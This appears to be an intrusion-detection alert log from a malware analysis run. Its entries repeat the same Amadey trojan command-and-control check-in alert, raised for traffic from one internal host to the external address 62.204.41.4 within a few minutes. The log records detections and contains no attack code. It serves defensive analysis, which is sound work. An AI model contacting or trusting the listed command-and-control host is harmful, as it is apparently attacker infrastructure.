192.168.2.562.204.41.449945802027700 02/06/23-14:17:57.866706	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449839802027700 02/06/23-14:17:27.377568	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450167802027700 02/06/23-14:18:57.212252	TCP	2027700	ET TROJAN Amadey CnC Check-In	50167	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450072802027700 02/06/23-14:18:31.495683	TCP	2027700	ET TROJAN Amadey CnC Check-In	50072	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450049802027700 02/06/23-14:18:24.878641	TCP	2027700	ET TROJAN Amadey CnC Check-In	50049	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450008802027700 02/06/23-14:18:14.977537	TCP	2027700	ET TROJAN Amadey CnC Check-In	50008	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450204802027700 02/06/23-14:19:06.078376	TCP	2027700	ET TROJAN Amadey CnC Check-In	50204	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449744802027700 02/06/23-14:16:57.374562	TCP	2027700	ET TROJAN Amadey CnC Check-In	49744	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449940802027700 02/06/23-14:17:56.613135	TCP	2027700	ET TROJAN Amadey CnC Check-In	49940	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449998802027700 02/06/23-14:18:10.629964	TCP	2027700	ET TROJAN Amadey CnC Check-In	49998	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449752802027700 02/06/23-14:16:59.309366	TCP	2027700	ET TROJAN Amadey CnC Check-In	49752	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449822802027700 02/06/23-14:17:23.172087	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450150802027700 02/06/23-14:18:53.180275	TCP	2027700	ET TROJAN Amadey CnC Check-In	50150	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450080802027700 02/06/23-14:18:34.462036	TCP	2027700	ET TROJAN Amadey CnC Check-In	50080	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449870802027700 02/06/23-14:17:37.486432	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450044802027700 02/06/23-14:18:23.661387	TCP	2027700	ET TROJAN Amadey CnC Check-In	50044	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449917802027700 02/06/23-14:17:48.955073	TCP	2027700	ET TROJAN Amadey CnC Check-In	49917	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450245802027700 02/06/23-14:19:17.964918	TCP	2027700	ET TROJAN Amadey CnC Check-In	50245	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449875802027700 02/06/23-14:17:38.674670	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449757802027700 02/06/23-14:17:00.537791	TCP	2027700	ET TROJAN Amadey CnC Check-In	49757	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450024802027700 02/06/23-14:18:18.856589	TCP	2027700	ET TROJAN Amadey CnC Check-In	50024	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450085802027700 02/06/23-14:18:35.682373	TCP	2027700	ET TROJAN Amadey CnC Check-In	50085	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449867802027700 02/06/23-14:17:36.742778	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450195802027700 02/06/23-14:19:03.888104	TCP	2027700	ET TROJAN Amadey CnC Check-In	50195	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449711802027700 02/06/23-14:16:33.781093	TCP	2027700	ET TROJAN Amadey CnC Check-In	49711	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449895802027700 02/06/23-14:17:43.567435	TCP	2027700	ET TROJAN Amadey CnC Check-In	49895	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449965802027700 02/06/23-14:18:02.723607	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450122802027700 02/06/23-14:18:44.731116	TCP	2027700	ET TROJAN Amadey CnC Check-In	50122	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450232802027700 02/06/23-14:19:14.756016	TCP	2027700	ET TROJAN Amadey CnC Check-In	50232	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449729802027700 02/06/23-14:16:44.339849	TCP	2027700	ET TROJAN Amadey CnC Check-In	49729	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449981802027700 02/06/23-14:18:06.537805	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450229802027700 02/06/23-14:19:14.024750	TCP	2027700	ET TROJAN Amadey CnC Check-In	50229	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450057802027700 02/06/23-14:18:26.865834	TCP	2027700	ET TROJAN Amadey CnC Check-In	50057	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449904802027700 02/06/23-14:17:45.863998	TCP	2027700	ET TROJAN Amadey CnC Check-In	49904	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449732802027700 02/06/23-14:16:48.097239	TCP	2027700	ET TROJAN Amadey CnC Check-In	49732	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449830802027700 02/06/23-14:17:25.114847	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449986802027700 02/06/23-14:18:07.762955	TCP	2027700	ET TROJAN Amadey CnC Check-In	49986	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450265802027700 02/06/23-14:19:22.827156	TCP	2027700	ET TROJAN Amadey CnC Check-In	50265	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449937802027700 02/06/23-14:17:55.913689	TCP	2027700	ET TROJAN Amadey CnC Check-In	49937	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449862802027700 02/06/23-14:17:34.385168	TCP	2027700	ET TROJAN Amadey CnC Check-In	49862	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450060802027700 02/06/23-14:18:27.627658	TCP	2027700	ET TROJAN Amadey CnC Check-In	50060	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450190802027700 02/06/23-14:19:02.698642	TCP	2027700	ET TROJAN Amadey CnC Check-In	50190	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449695802027700 02/06/23-14:16:29.833366	TCP	2027700	ET TROJAN Amadey CnC Check-In	49695	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449978802027700 02/06/23-14:18:05.789921	TCP	2027700	ET TROJAN Amadey CnC Check-In	49978	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449724802027700 02/06/23-14:16:39.798184	TCP	2027700	ET TROJAN Amadey CnC Check-In	49724	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450011802027700 02/06/23-14:18:15.710647	TCP	2027700	ET TROJAN Amadey CnC Check-In	50011	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450224802027700 02/06/23-14:19:12.834482	TCP	2027700	ET TROJAN Amadey CnC Check-In	50224	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450052802027700 02/06/23-14:18:25.625284	TCP	2027700	ET TROJAN Amadey CnC Check-In	50052	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450159802027700 02/06/23-14:18:55.306572	TCP	2027700	ET TROJAN Amadey CnC Check-In	50159	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449765802027700 02/06/23-14:17:02.563683	TCP	2027700	ET TROJAN Amadey CnC Check-In	49765	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450029802027700 02/06/23-14:18:20.040672	TCP	2027700	ET TROJAN Amadey CnC Check-In	50029	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450130802027700 02/06/23-14:18:46.681001	TCP	2027700	ET TROJAN Amadey CnC Check-In	50130	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450260802027700 02/06/23-14:19:21.606828	TCP	2027700	ET TROJAN Amadey CnC Check-In	50260	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449932802027700 02/06/23-14:17:53.704513	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449890802027700 02/06/23-14:17:42.348322	TCP	2027700	ET TROJAN Amadey CnC Check-In	49890	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449802802027700 02/06/23-14:17:18.144256	TCP	2027700	ET TROJAN Amadey CnC Check-In	49802	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449760802027700 02/06/23-14:17:01.327724	TCP	2027700	ET TROJAN Amadey CnC Check-In	49760	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449973802027700 02/06/23-14:18:04.598157	TCP	2027700	ET TROJAN Amadey CnC Check-In	49973	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449728802027700 02/06/23-14:16:43.785940	TCP	2027700	ET TROJAN Amadey CnC Check-In	49728	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449985802027700 02/06/23-14:18:07.516141	TCP	2027700	ET TROJAN Amadey CnC Check-In	49985	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449731802027700 02/06/23-14:16:47.855991	TCP	2027700	ET TROJAN Amadey CnC Check-In	49731	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449798802027700 02/06/23-14:17:17.167240	TCP	2027700	ET TROJAN Amadey CnC Check-In	49798	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449887802027700 02/06/23-14:17:41.597625	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450249802027700 02/06/23-14:19:18.949648	TCP	2027700	ET TROJAN Amadey CnC Check-In	50249	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449896802027700 02/06/23-14:17:43.821533	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449737802027700 02/06/23-14:16:52.313327	TCP	2027700	ET TROJAN Amadey CnC Check-In	49737	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450252802027700 02/06/23-14:19:19.663270	TCP	2027700	ET TROJAN Amadey CnC Check-In	50252	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449826802027700 02/06/23-14:17:24.159355	TCP	2027700	ET TROJAN Amadey CnC Check-In	49826	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450163802027700 02/06/23-14:18:56.264797	TCP	2027700	ET TROJAN Amadey CnC Check-In	50163	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450191802027700 02/06/23-14:19:02.948025	TCP	2027700	ET TROJAN Amadey CnC Check-In	50191	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450261802027700 02/06/23-14:19:21.842035	TCP	2027700	ET TROJAN Amadey CnC Check-In	50261	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450093802027700 02/06/23-14:18:37.648522	TCP	2027700	ET TROJAN Amadey CnC Check-In	50093	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449859802027700 02/06/23-14:17:33.007738	TCP	2027700	ET TROJAN Amadey CnC Check-In	49859	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450004802027700 02/06/23-14:18:13.908824	TCP	2027700	ET TROJAN Amadey CnC Check-In	50004	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450102802027700 02/06/23-14:18:39.827581	TCP	2027700	ET TROJAN Amadey CnC Check-In	50102	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450258802027700 02/06/23-14:19:21.108804	TCP	2027700	ET TROJAN Amadey CnC Check-In	50258	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450089802027700 02/06/23-14:18:36.683035	TCP	2027700	ET TROJAN Amadey CnC Check-In	50089	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449960802027700 02/06/23-14:18:01.488614	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449868802027700 02/06/23-14:17:36.986362	TCP	2027700	ET TROJAN Amadey CnC Check-In	49868	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449709802027700 02/06/23-14:16:33.287572	TCP	2027700	ET TROJAN Amadey CnC Check-In	49709	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449703802027700 02/06/23-14:16:31.801911	TCP	2027700	ET TROJAN Amadey CnC Check-In	49703	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449810802027700 02/06/23-14:17:20.127758	TCP	2027700	ET TROJAN Amadey CnC Check-In	49810	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449957802027700 02/06/23-14:18:00.788642	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450092802027700 02/06/23-14:18:37.397614	TCP	2027700	ET TROJAN Amadey CnC Check-In	50092	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450179802027700 02/06/23-14:19:00.072207	TCP	2027700	ET TROJAN Amadey CnC Check-In	50179	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449827802027700 02/06/23-14:17:24.402563	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449756802027700 02/06/23-14:17:00.296702	TCP	2027700	ET TROJAN Amadey CnC Check-In	49756	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450233802027700 02/06/23-14:19:15.000212	TCP	2027700	ET TROJAN Amadey CnC Check-In	50233	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449929802027700 02/06/23-14:17:52.146320	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449797802027700 02/06/23-14:17:16.911714	TCP	2027700	ET TROJAN Amadey CnC Check-In	49797	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450032802027700 02/06/23-14:18:20.769004	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449740802027700 02/06/23-14:16:53.015336	TCP	2027700	ET TROJAN Amadey CnC Check-In	49740	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449994802027700 02/06/23-14:18:09.678156	TCP	2027700	ET TROJAN Amadey CnC Check-In	49994	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450121802027700 02/06/23-14:18:44.477396	TCP	2027700	ET TROJAN Amadey CnC Check-In	50121	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450162802027700 02/06/23-14:18:56.026170	TCP	2027700	ET TROJAN Amadey CnC Check-In	50162	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450073802027700 02/06/23-14:18:32.799222	TCP	2027700	ET TROJAN Amadey CnC Check-In	50073	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449900802027700 02/06/23-14:17:44.895342	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449941802027700 02/06/23-14:17:56.852297	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450217802027700 02/06/23-14:19:11.137962	TCP	2027700	ET TROJAN Amadey CnC Check-In	50217	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449953802027700 02/06/23-14:17:59.850998	TCP	2027700	ET TROJAN Amadey CnC Check-In	49953	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449944802027700 02/06/23-14:17:57.633329	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450119802027700 02/06/23-14:18:44.008779	TCP	2027700	ET TROJAN Amadey CnC Check-In	50119	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449855802027700 02/06/23-14:17:31.349237	TCP	2027700	ET TROJAN Amadey CnC Check-In	49855	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450036802027700 02/06/23-14:18:21.758203	TCP	2027700	ET TROJAN Amadey CnC Check-In	50036	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450208802027700 02/06/23-14:19:07.190881	TCP	2027700	ET TROJAN Amadey CnC Check-In	50208	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449769802027700 02/06/23-14:17:03.541604	TCP	2027700	ET TROJAN Amadey CnC Check-In	49769	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449938802027700 02/06/23-14:17:56.145928	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450220802027700 02/06/23-14:19:11.858797	TCP	2027700	ET TROJAN Amadey CnC Check-In	50220	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450045802027700 02/06/23-14:18:23.896931	TCP	2027700	ET TROJAN Amadey CnC Check-In	50045	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449883802027700 02/06/23-14:17:40.633559	TCP	2027700	ET TROJAN Amadey CnC Check-In	49883	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450051802027700 02/06/23-14:18:25.382182	TCP	2027700	ET TROJAN Amadey CnC Check-In	50051	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449916802027700 02/06/23-14:17:48.720590	TCP	2027700	ET TROJAN Amadey CnC Check-In	49916	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450134802027700 02/06/23-14:18:47.648864	TCP	2027700	ET TROJAN Amadey CnC Check-In	50134	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449785802027700 02/06/23-14:17:07.425626	TCP	2027700	ET TROJAN Amadey CnC Check-In	49785	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449972802027700 02/06/23-14:18:04.364385	TCP	2027700	ET TROJAN Amadey CnC Check-In	49972	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450106802027700 02/06/23-14:18:40.803738	TCP	2027700	ET TROJAN Amadey CnC Check-In	50106	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449966802027700 02/06/23-14:18:02.959272	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450017802027700 02/06/23-14:18:17.179298	TCP	2027700	ET TROJAN Amadey CnC Check-In	50017	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449712802027700 02/06/23-14:16:34.380434	TCP	2027700	ET TROJAN Amadey CnC Check-In	49712	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449801802027700 02/06/23-14:17:17.902350	TCP	2027700	ET TROJAN Amadey CnC Check-In	49801	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449925802027700 02/06/23-14:17:50.890187	TCP	2027700	ET TROJAN Amadey CnC Check-In	49925	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450236802027700 02/06/23-14:19:15.762067	TCP	2027700	ET TROJAN Amadey CnC Check-In	50236	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449842802027700 02/06/23-14:17:28.111422	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449753802027700 02/06/23-14:16:59.551732	TCP	2027700	ET TROJAN Amadey CnC Check-In	49753	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449699802027700 02/06/23-14:16:30.811358	TCP	2027700	ET TROJAN Amadey CnC Check-In	49699	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449772802027700 02/06/23-14:17:04.254514	TCP	2027700	ET TROJAN Amadey CnC Check-In	49772	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450188802027700 02/06/23-14:19:02.215108	TCP	2027700	ET TROJAN Amadey CnC Check-In	50188	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450023802027700 02/06/23-14:18:18.602365	TCP	2027700	ET TROJAN Amadey CnC Check-In	50023	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450064802027700 02/06/23-14:18:28.682743	TCP	2027700	ET TROJAN Amadey CnC Check-In	50064	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450147802027700 02/06/23-14:18:52.469914	TCP	2027700	ET TROJAN Amadey CnC Check-In	50147	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450151802027700 02/06/23-14:18:53.414300	TCP	2027700	ET TROJAN Amadey CnC Check-In	50151	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449979802027700 02/06/23-14:18:06.054835	TCP	2027700	ET TROJAN Amadey CnC Check-In	49979	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449921802027700 02/06/23-14:17:49.926933	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450068802027700 02/06/23-14:18:29.946527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50068	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450246802027700 02/06/23-14:19:18.198358	TCP	2027700	ET TROJAN Amadey CnC Check-In	50246	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449743802027700 02/06/23-14:16:53.921247	TCP	2027700	ET TROJAN Amadey CnC Check-In	49743	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449771802027700 02/06/23-14:17:04.019414	TCP	2027700	ET TROJAN Amadey CnC Check-In	49771	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449899802027700 02/06/23-14:17:44.645815	TCP	2027700	ET TROJAN Amadey CnC Check-In	49899	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450010802027700 02/06/23-14:18:15.475260	TCP	2027700	ET TROJAN Amadey CnC Check-In	50010	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450123802027700 02/06/23-14:18:44.976744	TCP	2027700	ET TROJAN Amadey CnC Check-In	50123	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449838802027700 02/06/23-14:17:27.131716	TCP	2027700	ET TROJAN Amadey CnC Check-In	49838	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450184802027700 02/06/23-14:19:01.259062	TCP	2027700	ET TROJAN Amadey CnC Check-In	50184	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450105802027700 02/06/23-14:18:40.574553	TCP	2027700	ET TROJAN Amadey CnC Check-In	50105	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449700802027700 02/06/23-14:16:31.043767	TCP	2027700	ET TROJAN Amadey CnC Check-In	49700	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449856802027700 02/06/23-14:17:31.586279	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449833802027700 02/06/23-14:17:25.956224	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449874802027700 02/06/23-14:17:38.440488	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449894802027700 02/06/23-14:17:43.316977	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449911802027700 02/06/23-14:17:47.534707	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450274802027700 02/06/23-14:19:24.966329	TCP	2027700	ET TROJAN Amadey CnC Check-In	50274	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450256802027700 02/06/23-14:19:20.620519	TCP	2027700	ET TROJAN Amadey CnC Check-In	50256	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450078802027700 02/06/23-14:18:33.994128	TCP	2027700	ET TROJAN Amadey CnC Check-In	50078	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449715802027700 02/06/23-14:16:35.302872	TCP	2027700	ET TROJAN Amadey CnC Check-In	49715	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449733802027700 02/06/23-14:16:51.368597	TCP	2027700	ET TROJAN Amadey CnC Check-In	49733	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450096802027700 02/06/23-14:18:38.394554	TCP	2027700	ET TROJAN Amadey CnC Check-In	50096	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450156802027700 02/06/23-14:18:54.587906	TCP	2027700	ET TROJAN Amadey CnC Check-In	50156	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450228802027700 02/06/23-14:19:13.781550	TCP	2027700	ET TROJAN Amadey CnC Check-In	50228	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449805802027700 02/06/23-14:17:18.884453	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449781802027700 02/06/23-14:17:06.429230	TCP	2027700	ET TROJAN Amadey CnC Check-In	49781	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449710802027700 02/06/23-14:16:33.533909	TCP	2027700	ET TROJAN Amadey CnC Check-In	49710	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450115802027700 02/06/23-14:18:43.044125	TCP	2027700	ET TROJAN Amadey CnC Check-In	50115	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450133802027700 02/06/23-14:18:47.416110	TCP	2027700	ET TROJAN Amadey CnC Check-In	50133	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450174802027700 02/06/23-14:18:58.884943	TCP	2027700	ET TROJAN Amadey CnC Check-In	50174	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449828802027700 02/06/23-14:17:24.646925	TCP	2027700	ET TROJAN Amadey CnC Check-In	49828	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450027802027700 02/06/23-14:18:19.567097	TCP	2027700	ET TROJAN Amadey CnC Check-In	50027	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449751802027700 02/06/23-14:16:59.053794	TCP	2027700	ET TROJAN Amadey CnC Check-In	49751	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449846802027700 02/06/23-14:17:29.052087	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450205802027700 02/06/23-14:19:06.323850	TCP	2027700	ET TROJAN Amadey CnC Check-In	50205	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449705802027700 02/06/23-14:16:32.323528	TCP	2027700	ET TROJAN Amadey CnC Check-In	49705	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449962802027700 02/06/23-14:18:02.000570	TCP	2027700	ET TROJAN Amadey CnC Check-In	49962	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449990802027700 02/06/23-14:18:08.739973	TCP	2027700	ET TROJAN Amadey CnC Check-In	49990	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450113802027700 02/06/23-14:18:42.545396	TCP	2027700	ET TROJAN Amadey CnC Check-In	50113	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449702802027700 02/06/23-14:16:31.544827	TCP	2027700	ET TROJAN Amadey CnC Check-In	49702	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449730802027700 02/06/23-14:16:44.596890	TCP	2027700	ET TROJAN Amadey CnC Check-In	49730	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449876802027700 02/06/23-14:17:38.908848	TCP	2027700	ET TROJAN Amadey CnC Check-In	49876	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450143802027700 02/06/23-14:18:51.490212	TCP	2027700	ET TROJAN Amadey CnC Check-In	50143	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449818802027700 02/06/23-14:17:22.140346	TCP	2027700	ET TROJAN Amadey CnC Check-In	49818	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450146802027700 02/06/23-14:18:52.228128	TCP	2027700	ET TROJAN Amadey CnC Check-In	50146	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449693802027700 02/06/23-14:16:29.330240	TCP	2027700	ET TROJAN Amadey CnC Check-In	49693	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449698802027700 02/06/23-14:16:30.576133	TCP	2027700	ET TROJAN Amadey CnC Check-In	49698	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449989802027700 02/06/23-14:18:08.504518	TCP	2027700	ET TROJAN Amadey CnC Check-In	49989	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449871802027700 02/06/23-14:17:37.725069	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449897802027700 02/06/23-14:17:44.164540	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449815802027700 02/06/23-14:17:21.391573	TCP	2027700	ET TROJAN Amadey CnC Check-In	49815	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450100802027700 02/06/23-14:18:39.335819	TCP	2027700	ET TROJAN Amadey CnC Check-In	50100	80	192.168.2.5	62.204.41.4
